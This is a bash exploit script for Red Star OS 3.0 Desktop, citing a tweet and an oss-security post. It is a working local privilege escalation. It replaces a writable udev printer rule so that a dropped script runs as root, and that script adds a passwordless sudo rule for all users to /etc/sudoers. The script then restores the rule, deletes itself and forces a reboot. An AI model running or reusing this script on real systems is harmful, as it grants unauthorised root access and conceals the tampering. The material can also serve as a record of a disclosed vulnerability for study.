RedStar 3.0 Desktop – Enable sudo Privilege Escalation
#!/bin/bash -e ## Alternative steps: https://pbs.twimg.com/media/B68inqBIQAA5sK6.png ## Proof: https://github.com/HackerFantastic/Public/blob/master/exploits/redstar3.0-localroot.png cp /etc/udev/rules.d/85-hplj10xx.rules /tmp/udevhp.bak echo 'RUN+="/bin/bash /tmp/r00t.sh"' > /etc/udev/rules.d/85-hplj10xx.rules cat <<EOF >/tmp/r00t.sh echo -e "ALL\tALL=(ALL)\tNOPASSWD: ALL" >> /etc/sudoers mv /tmp/udevhp.bak /etc/udev/rules.d/85-hplj10xx.rules chown 0:0 /etc/udev/rules.d/85-hplj10xx.rules rm /tmp/r00t.sh EOF chmod +x /tmp/r00t.sh echo "sudo will be available after reboot" sleep 2 reboot ## Source: https://twitter.com/sfan55/status/550348619652796416 & http://www.openwall.com/lists/oss-security/2015/01/09/6 |